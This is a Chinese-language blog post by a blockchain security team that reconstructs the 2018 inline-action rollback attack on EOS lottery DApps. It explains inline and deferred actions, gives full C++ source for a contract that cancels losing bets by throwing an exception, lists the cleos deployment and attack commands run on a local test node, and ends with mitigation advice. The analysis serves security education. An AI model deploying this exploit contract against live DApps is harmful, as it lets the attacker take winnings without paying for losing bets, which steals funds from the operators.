在去年(2018年)多个 EOS DAPP 发生了交易回滚攻击,这也是很典型的攻击方式,针对这个漏洞,深入浅出区块链社区伙伴零时科技安全团队进行了详细的分析及攻击过程复盘。
在去年(2018年)多个 EOS DAPP 发生了交易回滚攻击,这也是很典型的攻击方式,针对这个漏洞,深入浅出区块链社区伙伴零时科技安全团队进行了详细的分析及攻击过程复盘。
2018年12月,EOS上多个抽奖 DApp 被黑客攻击。黑客是采用了 inline action
回滚攻击的技术实施攻击,并获利数千EOS。
有一些EOS 抽奖类 DApp 采用了 inline action
方式进行开奖,导致被黑客攻击。
我们先来看一下 inline action
和defer action
分别是什么:
action就是EOS上消息(EOS系统是以消息通信为基础的)的载体。如果想调用某个智能合约,那么就要给它发
action
消息。
inline action
内联交易:多个不同的action
在一个transaction
中(在一个交易中触发了后续多个 Action ),在这个 transaction
中,只要有一个 action
异常,则整个transaction
会失败,所有的 action
都将会回滚。
defer action
延迟交易:两个不同的action
在两个transaction
中,每个action
的状态互相不影响。
了解了上述知识之后,我们分析来黑客攻击流程:
inline action
查询自己的余额判断是否中奖,若未中奖,则抛出异常。此时,由于下注 action
和攻击的 action
在同一 transaction
中,那么,攻击action
异常会导致下注的失败。那么黑客可以实现不中奖就不用付出EOS。下面,我们给出攻击的测试合约
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"
using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;
class attack : public eosio::contract {
public:
attack(account_name self):eosio::contract(self)
{}
//@abi action
void rollback(asset in)
{
require_auth(_self);
asset pool = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
eosio_assert(in.amount > pool.amount, "rollback");
}
//@abi action
void hi(asset bet)
{
require_auth(_self);
asset pool = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
std::string memo = "dice-noneage-66-user";
action(
permission_level(_self, N(active)),
N(eosio.token), N(transfer),
std::make_tuple(_self, N(eosbocai2222), bet, memo)
).send();
action(
permission_level{_self, N(active)},
_self, N(rollback),
std::make_tuple(pool)
).send();
}
};
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}
EOSIO_ABI_EX( attack,
(hi)(rollback)
)
由于开源的抽奖EOS DApp 采用 inline action
的较少,因此我们将 EOSDice
合约开奖的 defer action
改为了 inline action
来做测试。
创建相关账户并设置权限
# 创建攻击者相关账户权限
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p attacker
向相关账户发送代币
cleos push action eosio.token issue '["attacker", "10000.0000 EOS", "memo"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "10000.0000 EOS", "memo"]' -p eosio
编译并部署相关合约
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract attacker ~/attack -p attacker@owner
# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
初始化测试合约
cleos push action eosbocai2222 init '[""]' -p eosbocai2222
使用合约攻击测试DApp
cleos push action attacker hi '["1.0000 EOS"]' -p attacker@owner
上图是开奖成功的正常流程
上图是开奖失败,合约攻击合约抛出异常,转账事务发生回滚。
在抽奖DApp使用 defer action
进行开奖可以避免本文分析的inline action
交易回滚攻击,但是链上开奖机制或许也不再安全。建议使用链下开奖逻辑进行开奖。
本文所有过程均在本地测试节点完成,文章用到的所有代码在NoneAge Github。
本文由深入浅出区块链社区合作伙伴-零时科技安全团队提供。
深入浅出区块链 - 系统学习区块链,学区块链都在这里,打造最好的区块链技术博客。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!